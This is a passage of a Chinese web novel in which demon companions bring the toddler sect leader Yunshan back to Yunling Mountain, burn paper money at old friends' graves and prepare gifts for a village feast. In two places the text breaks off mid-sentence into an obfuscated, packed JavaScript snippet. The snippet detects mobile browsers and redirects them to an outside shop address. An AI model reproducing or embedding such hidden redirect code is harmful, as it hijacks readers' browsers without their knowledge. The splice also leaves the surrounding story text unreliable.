《小掌门之江湖风云》 1. 又回云灵山 眼前景色一晃,树都变了模样。 坨坨立马看向旁边的云善,见他还是小小的个头,吃惊地大叫,“我们还没回来?” “现在又到什么时候了?” 云善转头看向坨坨,听不懂他在说什么。 小丛皱着眉头思考到底是哪一步出错了。 天空中传来“喳喳喳”地叫声。 “花旗大人。” “西觉大人。” “坨坨大人。” “兜明大人。” “小丛大人。” “云......” “云善掌门怎么变小了?!”小麻雀落在一旁的枝头上,瞪着不大的黑豆眼盯着云善看。 云善抬头望向声音传过来的方向,“小鸟~” “小麻雀?”小丛不确定地喊。 “小丛大人。”小麻雀回应。 云善第一次看到能说话的小鸟,很是惊奇地跑到树下,仰头看着在枝头说话的小麻雀。 “现在是什么时候?”花旗问。 “马上晌午了。”小麻雀说。 花旗:...... “你知道我们被阵法传送走吗?”小丛问。 “知道。”小麻雀说,“重山大人已经研究了三年。一年前你们启动过阵法一次,可是阵法有错,你们没有回来。重山大人一直在修改阵法。” 坨坨,“也就是说,现在是我们穿越之后的第三年?” “对。”小麻雀开心地在枝头蹦了两下,“坨坨大人,你们可终于回来啦。” “云善掌门怎么变小了?” “我们用阵法之后,云善就变小了。”坨坨看向小丛,“我们是回到三年后了。” 兜明满不在意地说,“管他几年后,反正回来了。”三年对妖怪们来说不过是眨眼而过的事。 “山开了吗?”花旗问小麻雀。 “开了。”小麻雀说,“你们离开后,我就能飞到外面去了。” “那个阵法能开山。” 小麻雀飞上天空,高兴地说,“我要告诉其他妖怪,云善掌门回来了。” 小麻雀拍着翅膀飞走了,云善一直仰着头看着小麻雀,直到看不见。 他们从冬天直接到了初夏,云善拽着兔皮棉袄喊热。 坨坨给他脱了厚衣服,换上单薄的长袖、长裤。再把小纸从兔皮棉袄里掏出来,塞到云善的裤兜里。 钢蛋和铁蛋来到陌生的地方很是谨慎,在四周到处闻味道。 花旗身体慢慢暖和过来,身体也没了懒洋洋的感觉。小纸从兜里游出来,游到云善肩上。 这儿树木都变了,云善认不着道,问西觉,“这是哪呐?” “后山。”西觉牵着他往前走。 林子里热热闹闹地跑来一群小妖怪,大呼小叫地喊着,“云善掌门。” “云善掌门。” “哎。”云善大声回应。 小妖怪们跑到云善面前,七嘴八舌地问云善掌门怎么变小了,云善掌门去哪了。 云善根本不认得这些妖怪,可是是大家喊了他名字。他也笑着和小妖怪们搭话。 “啊?” “啊?” 小妖怪们问的问题他都不知道。 坨坨又给解释了一遍。小妖怪们说着神奇,簇拥着云善,很是亲热。 小松鼠从小鹿的身上跳下来,扒着云善的裤子想往他身上蹿。 它爬到云善肩膀处,又迅速跳到了地上。 “云善掌门,哪来的小蛇?”小松鼠问。 “小纸~”云善外头看向肩膀上的小蛇。 小兔子们指着钢蛋和铁蛋问,“这两个是什么?” “钢蛋~铁蛋~”云善回道。 “长得真奇怪。”猴子精说,“从来没见过这样的动物。” 他绕着钢蛋走了一圈,“长得像人又非人。” “是袋鼠。”坨坨说,“外国动物。” “铁蛋是狮子,也是外国来的。” “狮子?”小麻雀落在小鹿头顶问,“狮子脑袋上有卷毛,它没有。”小麻雀见过人类雕刻的石狮子。 “铁蛋还小。”坨坨说,“等它长大就会长出威风的鬃毛。” “但是鬃毛是直的,不是弯的。” 一旁的树干上慢慢显出一个老人,重山拄着雕花木杖走出来,十分欣慰,“你们终于回来了。” 坨坨看到重山立马道,“以后你看见风岚掌门,要提醒他不要被人类骗下山。” 重山纳闷地问,“怎么了?你们是看到什么了?风岚掌门是谁?” 坨坨把在末世遇到的事情讲了出来。山里的小妖怪们一片哗然,“人类真是可恶。” “为了他们自己的欲望要杀我们。” “还好坨坨大人回来了,不然我们云灵山就要被那些坏人害了。” 重山叹了口气,“即便我知道了,以后的事情也不一定能改变。” 坨坨,“为什么?你知道了,你告诉风岚就好了。” “风岚做掌门的时候你还在山上。” 坨坨觉得这不就是一句话的事情吗。难道多活几千年,重山脑子不记事,会把事情忘了?不至于吧,妖怪应该不会老年痴呆吧。 “时间很复杂。”小丛解释说,“时间线可能在某一点分叉,一部分按照原定轨迹走下去,这部分是无论如何都不会被改变的。” “分叉的时间线会因为某些事情改变而延伸,发展新事情。” “就像时间到了某个点,多了一个平行世界。” 坨坨想了想,“好吧。我大概知道是什么意思了。” “或许在另一个世界里,云灵山躲过了那次灾难。阿青也没有变成毒蘑菇?” 小丛点头。但是很他不明白,明明和风岚掌门一起算好的时间,怎么差了三年? 一群小妖怪们被小丛说得晕头转向,小声讨论了好一会儿。到最后也不太明白时间的问题。 重山见着变小的云善,笑呵呵地摸摸他的脑袋,“我们云善掌门小时候就是这样。” “胖乎乎的。” “长大了......” “不胖!”云善瞪着眼睛看向重山,很认真地说,“我瘦啊。”这是它它留给云善的阴影。云善到现在都没忘记这事。 重山愣住了,看着云善又白又嫩的胖脸蛋,实在也看不出来他“瘦”在哪。 坨坨小声对重山说,“云善不愿意别人说他胖。” 重山笑起来,哄道,“不胖,不胖。”他也没有违心说云善瘦。 云善对“不胖”就很满意了。 “长大就瘦了。”重山说。 云善像模像样地点点头。 重山又问花旗,“你如今是千年修为,也是因为阵法?”花旗当初被黑蛟打得800年修为散尽,离开云灵山时只有200年修为。 花旗点头,“这阵法有许多神奇之处。” 云善跟着花旗他们一起往云灵观去。 快到云灵观,云善带着头跑进去喊,“阿青,未来。” 观里只有被重山变成洒扫小童的兔子们。 “谁呀?”云善转头问西觉。 “山里的兔子。”西觉说,“阿青、未来和风岚都不在。” “不在?”云善问,“去哪呐?” “在其他的云灵观里。”花旗说。 云善听不懂,问花旗,“在哪呐?” “不知道。”花旗说。 云善不明白好好的人怎么就没了。但是小朋友不会纠结问题的答案。对云善来说,云灵观还是那个云灵观。 院子里有水井,有神仙住的大殿,屋前有走廊。厨房也还是那个厨房,睡觉的地方还是睡觉的地方,就是里面的东西有些不一样。 猴子精离开了一会儿,抓着一束花跑回来送给云善。 云善接过红色、紫色的小花,高兴得咧着嘴笑。秋天以后,云善再也没见过这些花了。他举着花开心地跑到西觉面前,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022482|148718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西西,看。” “花。” 坨坨说,“现在是夏天,山里有好多花。” “一会儿我带你去摘。” “嗯。”云善高兴地点头,“瓶子,插起来。” 花旗在睡觉屋子的窗台上找到了西觉以前给云善做的花瓶,黄泥烧的,表面坑坑洼洼,长得不太美观,但是不漏水,能用。 花旗带着云善到井边打了水,用舀子舀进花瓶里。云善蹲在地上,把花一朵朵地插进瓶子中。 花旗拿着插满花的花瓶,放在屋里的桌上。云善站在桌下看着瓶子里的花,高兴地说,“好看。” 花旗找了块抹布给他,“云善去外面沾些水,把板凳擦擦。” 云善拎着抹布转身往外跑。 坨坨把屋里的席子拖了出来,勤劳地用湿布擦了一遍,晾在院子里。 云善拿着湿抹布把花旗搬出来的凳子都擦了一遍。 小妖怪们也都来帮着打扫。 厨房打扫好,坨坨忙着做午饭,西觉去山里捉猎物。 院子外面来了一头大黑熊,手里捧着一块大蜂巢。 大黑熊脑袋先探进云灵观大门,看到兜明在。他捧着蜂巢走进来,略带谄媚地说,“兜明大人,你们回来啦。” “这是谁啊?长得怎么和云善掌门小时候那么像?” 大黑熊忽然瞪大了熊眼,“云善掌门的崽?” 兜明:......“这就是云善。” 大黑熊掰了一块蜂巢,蜂蜜从蜂巢上往下滴。大黑熊喊,“小掌门,快吃。” 云善张着嘴接了一口蜂蜜,笑眯眯地转头和兜明说,“嘟嘟,甜哒。” “蜂蜜就是甜的。”兜明去厨房拿了罐子,把蜂巢里的蜂蜜挤进罐子里。 小松鼠站在云灵观的墙头上喊,“小掌门,出去玩。” 云善拿着蜂巢,领着铁蛋跑出来。钢蛋没跟出来,它在院子里吃兜明挤完蜂蜜扔在地上的蜂巢。 见云善出来,小鹿带头往前走,“重山大人说摘桃子给你吃。” “我们去山顶。” 小妖怪们带了云善去山顶。 重山的本体桃树上挂满了青桃子。云善站在树下看着硕果累累的桃子树,高兴地喊,“果子。” 重山选了身上最红的桃子送到云善面前,“小掌门你尝尝。” 云善接过桃子,闻了闻,“香啊。”咬上一口,又香又甜。 他自己吃了几口后咬了一小口桃子吐在手上,把小纸从肩膀上拿下来,把那一小口桃子喂给小纸吃。又咬了一口喂给铁蛋。 重山一脸慈祥地看云善吃完了一整个桃子。 云善抬头看看满树的桃子,对重山说,“再给呀。” 重山笑呵呵地又找了个桃子给他。 云善抱着桃子,又说,“再给。” 重山,“你还没吃呢。” 云善拍拍桃子,“给花花吃。” 重山笑着给云善又摘了一个桃,果然又听到云善说,“再给呀。” “给谁?”重山问。 “西西呀。” 猴子精站在一旁说,“小掌门和他以前小时候一模一样。” 吃到好东西总要给花旗他们带一些。 重山摘了五个桃子放在云善衣服上,云善笑眯眯地冲他摆摆手,拽着衣服边缘拱着腰护着怀里的桃子往山下跑。 五个大桃子对3岁的云善来说很难拿。他跑了没几步,人往前一趴,桃子从怀里滚了出来。 云善自己从地上爬起来,猴子精帮他把桃子捡起来,重新放在他衣服上。 猴子精本来想帮他拿的,云善没让,叫了铁蛋,“铁蛋,趴下。” 铁蛋伏低身子。云善兜着桃子艰难地往铁蛋身上爬。有桃子碍事,他怎么都爬不上去。 重山伸出一根树枝推了推他的屁股,把云善推到铁蛋背上。 云善回头冲重山笑了下,“铁蛋,走。” 铁蛋驮着云善往山下跑。 2. 下山烧纸 云善带着桃子回到云灵观,进了院子就喊兜明,“嘟嘟,嘟嘟。” 趴在走廊下打盹的兜明抬起脑袋,看到云善兜着东西,露出大半个白嫩的小肚皮。 “来。”云善说。 兜明变成人形走过来,看到云善衣服上兜的是桃子,问道,“山上摘的还是重山给的?” “给的。” 云善等兜明把桃子都拿下去,拍拍钢蛋,“钢蛋,趴下。”他从钢蛋身上爬下去,抱起一个大桃子跑进厨房里。 兜明拿起桃子一口咬下去。满口又香又甜的味道和记忆里一样。兜明自言自语道,“重山结的桃子是最好吃的桃子。” 云善从厨房里跑出来,又搂了两个大桃子进去。然后跑出来找西觉。 “西觉砍竹子去了。”兜明说,“一会儿吃饭就回来了。” 云善拖了个小板凳,坐在兜明身边,小手搭在兜明腿上,问,“嘟嘟,阿青呐?未来呐?风呐?” “他们在另一座云灵观。”兜明说。 “云灵观。”云善跟着重复。他知道云灵观就是这座小院子。另一座云灵观在哪呢? “什么时候,回来呀?”云善问。 兜明说,“不来了。” “他们在自己的云灵观里。” “不来?”云善站起来,拉着兜明,“找找。”他要拉着兜明去找阿青、未来还有风岚。 兜明不动,“找不回来。” “找!”云善皱着眉头强调。 “找也找不回来。”兜明说。 云善撒开手跑进厨房。兜明听见他让花旗去找人。花旗也说找不到。云善站在厨房里哭了出来。 小小的孩子不懂离别,不明白原来每天在眼前晃的人怎么突然就不见了,也找不到了。明明早上还一起在云灵观呢。 云善总喊要找人,坨坨和花旗都哄不好他。只好任由他站在厨房里哭。 云善自己哭了会儿,小手擦掉眼泪,抱着花旗腿喊,“喝水。” 花旗正翻着菜,低头对他说,“找小丛去。” 云善去找小丛。小丛把桌上壶里晾凉的白开水倒进云善的杯子里,把杯子挂在云善脖子底下。云善自己会开杯子喝水。 西觉左手拖着竹子,右手拿了一把黄色野花,看到铁蛋和钢蛋都趴在走廊下,就知道云善也回来了。 他喊一声,“云善。” “哎。”云善脖子下挂着杯子跑出厨房,高高兴兴地喊,“西西。” “花!” 西觉把黄色的野花递给云善,“小松鼠叫你去哪玩了?” “吃的。”云善想起来留给西觉的桃子。把花放到一边,抱了桃子给西觉,“西西吃。” “重山给的?” “嗯。” 西觉把兜明身边放着的小凳子拿远一点坐下。云善趴在西觉腿上娇憨地问,“好不好吃啊?” “好吃。”西觉笑着回他,把桃子放在云善嘴边。云善咬了一口,笑着嚼桃子,“好吃。” 云善抱着黄色野花到厨房门口喊坨坨。 “干嘛呀?”坨坨问他。 “找瓶子呀。”云善说。他要把小野花插起来。 坨坨领他去睡觉的屋子,从窗台上又拿了个泥瓶子,带着他去外面装水插花。这次的花被坨坨放在了厨房的窗台上。 弄完花,云善又去找西觉。西觉拿着砍刀劈竹子枝杈,说要给云善做个小扫把。 云善十分开心,围在西觉身边,把西觉砍掉的枝杈捡到一旁堆着。 “吃饭了。”坨坨在厨房里冲着喊。 西觉和兜明带云善去井边洗手。云善自己洗完了手站起来,西觉拉着他的小手看了看,手背上还是黑的。 “打香皂再洗一遍。”西觉说。 “我啊?”云善问西觉,转头看了兜明一眼。 兜明站起来,用脚轻轻踢他屁股,“不是你,还能是我?” “我手可洗干净了。” 云善蹲下来,小手在水里摆一摆,蹲着挪到香皂盒跟前,把香皂拿出来摸了摸。 他好好地搓了搓了两只小手,看到手面上起了灰色的沫子,自己道,“脏。” 西觉好笑地看着他在盆里洗干净手,然后牵着云善干净的小胖爪,带他去厨房吃饭。 吃完午饭,妖怪们照例去小树林里睡觉。小妖怪们早就在这等着了。 猴子精拉着云善去看他们给他新做的吊床。 吊床扣在两棵小树中间,离地约莫有30公分高。 “小掌门,你上去试试。”小兔子说。 云善很新奇小吊床,摸来摸去地问,“什么呀?” “吊床。”坨坨已经钻进了一旁的土里,只露出个脑袋在外面。“躺在上面睡觉的。你小时候就爱躺在吊床上睡午觉。” “睡觉啊。”云善翘着脚爬进了吊床里。 小松鼠站在树枝上喊,“小掌门,你躺下。” 云善听言,躺了下去。 小松鼠从树上窜下来,站在地上喊,“还有一点空。” 云善躺在吊床里,吊床最下面离地面只有十公分的距离了,好在没碰到地。 云善侧着头问,“什么?” “吊床能用。”小麻雀高兴地说。 铁蛋站在吊床边,抬着爪子也想往上爬。 猴子拽着它的尾巴不让它上去,铁蛋扭头对着猴子精吼了一声。猴子精不客气地在它屁股上打了一巴掌,“吊床撑不住你。你不能上去。” 铁蛋和猴子精不熟,对猴子精打它屁股的事显然很恼怒,伸出大爪子要去拍猴子精。 被猴子精挡住。云善坐起来,“铁蛋,不打。” 小兔子对猴子精说,“咱们和铁蛋还不熟。你别碰它了。” “不怕。”云善对猴子精说,“铁蛋,不咬人。” “我知道。”猴子精没再碰铁蛋。 西觉、兜明和花旗分开趴在树下睡觉。根本没管这边。就连铁蛋刚刚吼了一声,兜明和西觉也只是动了动耳朵,连眼睛都没睁开。 小妖怪们和云善有着说不完的话,一直呱呱唧唧地在说,时不时地还笑几声。 小丛睁开眼去看,云善躺在吊床上,吊床从前面往后荡。猴子精倒挂在树上,和小鹿一起晃着吊床。 过了很久,玩闹的声音才停下。云善躺在吊床里呼呼大睡,小妖怪们趴在云善的吊床旁,都一起睡着了。 下午,小妖怪们凑在一起,让坨坨给他们讲外面的故事。 坨坨说到阵法启动之后,他们刚下山就遇到了树叶的后人,停在小鹿头顶上的小麻雀说,“真有缘分。” “树叶的坟就在云灵山山脚下。我知道在哪。” 小丛放下书,问小麻雀,“在哪?” “在山脚下靠西边。那儿有一片坟地,是梁家的祖坟。”小麻雀把从山下听来的事情说给坨坨他们听,“埋了好些人。” 坨坨现在回想起梁树叶,总还记得他们离开时,梁树叶还是人类孩子的模样。也总记得,梁树叶坐在车上,冲着他们挥手喊,说要带荔枝给他们吃。 可是南方的冬天没有荔枝。人类的生命也只有短短百年。 “山下现在是什么模样?”小丛问,“树叶的后人还住在山下吗?秀娘和秋生呢?” “秀娘和秋生也早就死了。他们后人不在东望村。他家原来的房子也成了梁家的地。” “梁家人还住在山下,不过房子变了,比以前大多了。” “梁家分成了两部分,一部分住在别的地方做买卖。另一部分住在山下。” “他家最近有喜事。有个人中了举。梁家人很高兴。” “中举?那是大事。”坨坨惊喜,“我在电视里看过,这很难的。” 他转头问小丛,“这是不是相当于考上大学了?” 他们可是被梁小飞带着去参加过人家考上大学的升学宴。 小丛想了想,“应该差不多吧。” “上大学呀。”坨坨说,“也不知道办不办升学宴。” “有流水席。”小麻雀说,“明天就开始。” 坨坨立马道,“我们去看看啊。” “现在山下是什么样子?”花旗细细地问了小麻雀,发现现在还是古代,和现代一点不沾边。 “我们去山下看看吧。”小丛说,“人类看望故去的人要烧纸。我们去买些烧纸给树叶烧一些。”这事,他们在二百多年就体验过了,给灵隐烧过纸。也知道东望村隔壁的西莱村就有一家人卖烧纸。 “我们还有古代的钱吗?”坨坨问花旗。 “没有了。”花旗说,“200年前全都给树叶了。” “没钱怎么买东西?”坨坨说,“我们要先下山打工吗?” “云善不是一些不玩的金珠子吗?”小丛说,“金是硬通货,古代和现代都能用。” 坨坨在乾坤袋里找了些云善不爱玩的金珠子。之前他们从商场里拿了许多金珠子。云善喜欢玩那些带着图案,带彩色的珠子。没有图案的金珠子他不爱玩。 坨坨摸出了两颗金珠子问小丛,“够不够?” 小丛不确定,“我也不知道。” 小丛的不确定让坨坨又多准备了几颗金珠子备用。 他们带着云善换了身古代的衣服下了山,沿着山脚下的路一直往前走。 路边200亩的田地是他们当初开的荒地。现在地里都是金黄色的麦穗,很是好看。 前面有好些人弯着腰在地里割麦子。 在田埂上,往牛车里装麦子的人瞧见花旗他们,隔得远远地打招呼。 “兄弟是哪里人?” “身边跟着的野兽可听话?” 坨坨跑到近前回道,“我们是山里人。养的野兽都听话。” “山里人?”那人惊讶道,“山里可是发生什么事了?” “什么事?”坨坨不明白地问。 “这片山以前都缭着白雾,凡是上山的人没有不迷路的。”汉子边把麦子往车上捆边道,“三年前,突然有一天,雾就散了。再往山上走,不像以前似的总打转,能进山了。” “我听人说,山里还有座云灵观,里面还有师傅。” “是。”坨坨说,“我们就是云灵观的。” 云善带着铁蛋、钢蛋跑到近前,汉子畏惧地往旁边退了退,询问道,“山里的野兽多吗?” “好些人不敢上山,都说山里的野兽多。” “还行吧。”坨坨说,“前面山头的野兽少一点,后面深山里的野兽多。” 钢蛋跳到车前,从车上拽了一把麦子吃。 汉子见钢蛋离得近,更是畏惧,“这两野兽真听话?” “听话。”云善站在车边回,“铁蛋、钢蛋听话。” 花旗见这汉子一副害怕的模样,踢了钢蛋一脚,“别吃了,走了。” 钢蛋畏惧花旗,蹦跳着跟在花旗后面离开。 等花旗他们走远,田里的人纷纷来找田埂上的汉子打听,“这些是哪里来的人?” “怎么还养那么大的野兽?瞧着比梁家养的狗还大。” “这两种是什么野兽?” 汉子道,“说是山上下来的,云灵观里的人。” 大家又七嘴八舌地说,“山里人啊,怪不得敢带野兽。” “听说云灵观以前很灵的。得闲了咱们去山里拜拜?” “拜拜?”有人道,“你不怕被山里的野兽咬死?” “刘昌上次去山里,遇到了一头大黑熊。要不是命大,就交代在山里了。” “上回有个小孩跑到山上不是什么事都没有吗?还去了云灵观,观里的师傅叫他只管下山。还真什么事都没有,平安下来了。” 妖怪们路过原来的房子,见房子果真变了模样。以前只是个小院子,一共有四间房。再看现在,已经是个阔气的大院子,围着围墙,看不清里面。 不过只看院墙的长度,里面的屋子肯定不会少。 院子门敞开着,坨坨站在前面探头往里面看了一眼。院子里什么人也没有,只有树下栓着条大狗。看着模样有些像大黄。 前面原本属于秀娘家房子的地方现在没了房子,而是栽了几棵树。 妖怪们寻着记忆往隔壁西莱村去。好些个年纪大的老头太太拄着木头拐杖站在院子里看他们,村子里不见青壮年。 到了西莱村,都是头发花白的老头老太太聚在村里的大树下,不见村子里有青壮年走动。 坨坨跑上前问,“老人家,这儿谁家卖烧纸?” 云善骑着铁蛋跟在后面。 树下的老人都惊奇地看着云善。 一个老头颤颤巍巍地问,“小娃娃,你骑的是老虎啊?” “不是。”兜明说,“这是狮子。” “狮子?”另一个老头摆手,“狮子不长这样。” “狮子是卷毛。” “狮子是直毛。”坨坨说,“等铁蛋长大,就能长出大鬃毛。” 一个个子小小的老太太问,“狮子是你家养的?” 坨坨点头,“不咬人。” “谁家卖烧纸?” “许大头家卖烧纸。”一位老人家说,“现在许是一家都在地里割麦子呢。” “你要找人,就去他家地里喊。” “他家地在哪?”坨坨问。 村里老人把许大头家田里的位置告诉妖怪们。妖怪们直接去了许大头家地里,喊了人。 许大头满脑袋都是汗,提着镰刀,从地里出来,“买烧纸?” “你们哪人?我怎么没瞧见过?” 附近村子里的人烧纸钱基本都在他家买。但是他确定附近谁家也没养野兽,也没有两个白胖的孩子。 “山里的人。”坨坨说。 许大头对钢蛋、铁蛋怕得很,远远地走在前面,边走边回头和坨坨他们说话,“山里野兽多吗?” “前面不多,后面多。”坨坨回道。 许大头到了家,先是从水缸里舀了瓢水灌进肚子里。解了渴后才问,“要买多少刀烧纸?” 坨坨从怀里摸出两颗小金珠,“你看能买多少?” 许大头带着灰的粗粝大手捏着小金珠问,“这是啥?” “金珠子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022483|148718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀。”坨坨说。 许大头第一次摸到金子,稀罕地拿在手里拨了拨,“真是金珠子?” “真的。”坨坨把另一颗金珠子也给他,“两颗珠子能买多少烧纸?” “小珠子轻飘飘,能有多重?”许大头拿出小称,根本称不出珠子的重量。 他捏着金珠子送到嘴边,用牙咬了一下。原本圆滚滚的珠子直接被咬瘪了。许大头有些心疼,“还真是金珠子。” 坨坨又把准备好的8个珠子也都放在小称。10颗珠子加起来称出了些重量。一共有两钱重。按照一两金子十两银子换算下来,那就是二两银子。 许大头拿了钥匙开了库房的锁,指着屋子里成堆的烧纸道,“二两银子能买这屋子里所有烧纸。” 许大头拿了刀烧纸,掀开给西觉砍,“我卖的烧纸都带着铜钱印。别家有的可不印铜钱。” 妖怪们知道,烧纸就是给故去的人烧钱用。也不知道树叶、秀娘和秋生有没有投胎。希望他们在下面也能买个大宅子住。 一百多刀黄纸不好拿,钢蛋和铁蛋身上都被捆了好多黄纸。妖怪们身上也都挂满了黄纸,就连云善也抱着一刀。那么多,一次性还是拿不完,最少也得分三趟。 许大头正要去地里把自家驴子拉回来,就见他爹赶着驴车回来了。 “来得正好。”许大头把车上的麦子卸下来,“我正要去地里。” 许大头的爹看向大包小裹站在院子里的妖怪们,“买这么多烧纸?” “你们哪人?” 许大头道,“他们是山里下来的。说是要去东望村烧纸。” 附近村子都知道云灵山里的雾气没了,山里也能进去。 许大头的爹边干活边和妖怪们聊天,“你们祖上是东望村的?和村里的人是不是都出五服了?” “我们原先就是山里的。”花旗说。 “原来就是山里的啊。”许大头的爹又问,“那给谁烧纸?” “给......世交烧纸。”小丛说。 许大头老爹在心里过了两遍“世交”这个词,问道,“啥叫世交?” “就是我们祖上和他们祖上认得。”坨坨扯着谎说,“想着开山了,就来烧些纸。” “哦哦。”许大头老爹又问,“给谁家烧纸?” “兴许我还认得呢。东望村大部分人我都知道。” “村边上的梁家。”坨坨说。 坨坨话音刚落,许大头的爹立马惊叹道,“梁家啊?听说他家今年有人中了进士。昨天还有人骑马来报喜。” “他家以后要有官老爷了。” “你们和他家有关系?”许大头笑道,“说是明天有流水席,我们都打算去吃。” 驴车上的麦子全部被卸下来堆在院子里。许大头往驴车上装了满满一车的烧纸,捆得很高。 经过村子树下,那些老头老太太看到这么多烧纸,都好奇地问要他们去给哪家烧纸。 听说是给东望村的梁家,有人问许大头,“他家今天上午也烧了不少纸吧?” “这么大的事,得给祖宗报喜。” “也烧了不少。”许大头回道。库房里的烧纸今天都卖出去了。晚上还得再做一些,留着以后卖。 妖怪们按照小麻雀说的,先找到了秀娘和秋生的坟。也是一片坟地,没个石碑,只有一排排坟包。 “小麻雀怎么知道这是秀娘和秋生的坟?”坨坨看着这一片鼓起来的坟包,都不知道哪个是秀娘和秋生的。 “这坟?”许大头说,“他家人不住在东望村了,隔几年才回来上一次坟。” “今年应该回来过了。不然草不会这么低。” 这和小麻雀说的是对上了。 西觉和兜明卸了一半烧纸,取了火折子点燃。也不知道哪个坟头是秋生和秀娘的,他们就在旁边的空地上烧。 许大头看他们不吱声,道,“不磕个头?不说说给谁烧纸?” 坨坨拎起一刀烧纸扔到火堆里,“秀娘,秋生,烧钱给你们买大别墅住。” 云善拽了一点烧纸,跑到前面丢进火里,又赶紧跑回来。他这么来来回回地跑,一刀烧纸让他烧了好一会儿。 五十多刀烧纸也就烧了一小会儿。火烧得旺,热气逼人,火堆前站不住人。 妖怪们站得远,看着烧纸全都烧完,火灭了,他们继续往前走。 经过梁家门口,许大头特意停了下来,“你们不去梁家说一声吗?叫个人一起?” “不用。”坨坨说,“我们自己去烧就行。” 许大头觉得有些奇怪,也没问,把东西拉到梁家坟地就回去了。 梁家的坟有石碑,妖怪们一找就找到了梁树叶的坟。 看到上面刻着的字,妖怪们心里很沉重。 这些字他们在梁家的族谱上见过。那时候的伤感不如现在直面着那么强烈。 站在这,妖怪们清楚地知道这是树叶的坟头,梁树叶就睡在石碑后面鼓起的土包里。 兜明一声不吭地点了烧纸。 坨坨问,“你去了南方是不是就知道荔枝是夏天才有的?” 妖怪们往火堆里扔烧纸,这次没人喊烧给谁。云善抱着一刀烧纸扔进火里,看着火苗舔舐到纸上,烧过的纸变成了黑色。 他不明白烧纸是干什么的。看着西觉他们扔烧纸,云善也跟着扔。 许大头就觉得奇怪。他没见过这种烧纸的人。来上坟烧纸的总要念叨念叨,磕个头。这些人不磕头,也不怎么说话。就是不心疼钱,一烧烧那么多。真是奇怪。 路过梁家,正好瞧见梁文忠站在门口笑着和人说话。 梁文忠家里三个儿子,两个闺女。中了进士的就是他那小儿子梁俊泽。 “梁叔。”许大头喊。 “大头。”梁文忠笑道,“这时候咋牵着驴在我们村?” “没下地?” “有人买了好些烧纸,我给送过来。”许大头道,“他们去给你家祖宗烧纸了。” 梁文忠惊讶地瞪大眼睛,“给我家祖宗烧纸?” “什么人给我家祖宗烧纸?” “说是山里的来的。”许大头道,“不只给你家烧,还给村子那边姓刘,不在村子里的那家也烧了不少纸。” “我去瞧瞧。”梁文忠快步往祖坟跑。 等他到了跟前看,坟地里哪还有人。 梁文忠走过一排排坟,瞧见最后面一排,最边上的坟前多了一堆烧完的黑灰。那坟总是老祖宗的坟。 梁文忠在坟前念叨,“祖宗,山里来人了呀。” 梁文忠小时候常听曾祖说起家里的事。也听说过老祖宗以前的事。 老祖宗原先是个乞儿,被人收养。后来做了大买卖。不过收养他的人突然就失踪了,听说老祖宗等了好些年。还让梁家后辈一直守在山下等人。 就是不知道是在等什么人。还说,要是山里来人,一定要当做贵客招待。 梁文忠一直都知道家里有亲戚住在云灵山上。只是云灵山怪异得很,一直没人能上去。没想到,这么多年后,山上竟然下来人了。难道等的就是那些人? 3. 参加升学宴 云善牵着西觉的手,蹦蹦跳跳地往山上走,“烧火,干嘛呀?” “没做饭。” 他在问妖怪们刚刚不做饭,烧火干什么? “烧纸钱。”坨坨说,“给人送钱呢。” 云善哦了一声。 坨坨问,“明天梁家有升学宴,咱们送些什么?” 妖怪们的家底大都是皮子、云善的衣服、商场搜来的东西。送皮子、送云善的旧衣服显然都不合适。 坨坨在小树林里,把之前从商场里搜来的东西倒在地上,带着云善一起挑礼物。 小妖怪们好奇,跟着围过来一起看。 云善从一堆东西里扒拉出了一个塑料大宝剑,拖出来看了看,然后把宝剑丢在一边。他天天耍小木剑,对剑不感兴趣。 小松鼠拖着宝剑在草地上走了一圈,“坨坨大人,这是剑?好轻啊。” “塑料做的,当然轻了。”坨坨说。 “塑料是什么叫?”小松鼠问。 “塑料就是一种材料,有点脆。”坨坨找出一个精美的本子。本子封面画着两片绿色荷叶,里面的纸页在右下角印有荷花。 “这个怎么样?”坨坨问旁边的小兔子。 “好看。”小兔子问,“这是写字的?” “嗯。”坨坨说,“好看的本子。” “只送一本本子太少了。” “我再找找。” 把漂亮的荷花本子放在一边,坨坨蹲在地上 继续翻。 “拼图。”云善找到了一盒拼图。 坨坨看了一眼,盒子表面的画是一匹彩色小马,很符合云善的审美。看起来不像是十几、二十的人类会选择的东西。 “云善,你再选一个。”坨坨说。 云善没理他,抱着盒子用牙啃边角上的塑料膜。外面包装的塑料膜有点厚,他啃起来稍微有些费劲。 坨坨自己在一大堆东西里继续翻找。 猴子精抱了一个长臂的小猴子玩偶,惊讶道,“有猴子。” 其他小妖怪们也都翻到了各种各样的玩偶。 小松鼠找到了带有鹿角的发箍,问坨坨这是什么。 坨坨把发箍戴在头上,“发箍。” 他嘀咕着,“怎么什么都拿了。” 小丛在另一边树下看书,分神地想,现代书里有很多知识,也很有趣。可惜明天就要去送礼,现在誊抄根本来不及。 兜明也有自己的打算。他打算明天赶头猪下山。猪杀了就能吃,多实惠。 云善撕开了包装,把拼图倒出来。他自己拼过两个,知道拼图怎么玩,带着小兔子、小松鼠、小鹿和猴子精一起玩拼图。 坨坨找到了几盒颗粒拼,大都是卡通人物,像是云善会喜欢的。他把盒子放在旁边,打算带回云灵观给云善玩。 又从下面找到了一盒古代房子的颗粒拼。坨坨想了想,把古代房子颗粒拼放到荷花本子旁边。 他继续翻,突然听到“叮”的一声。 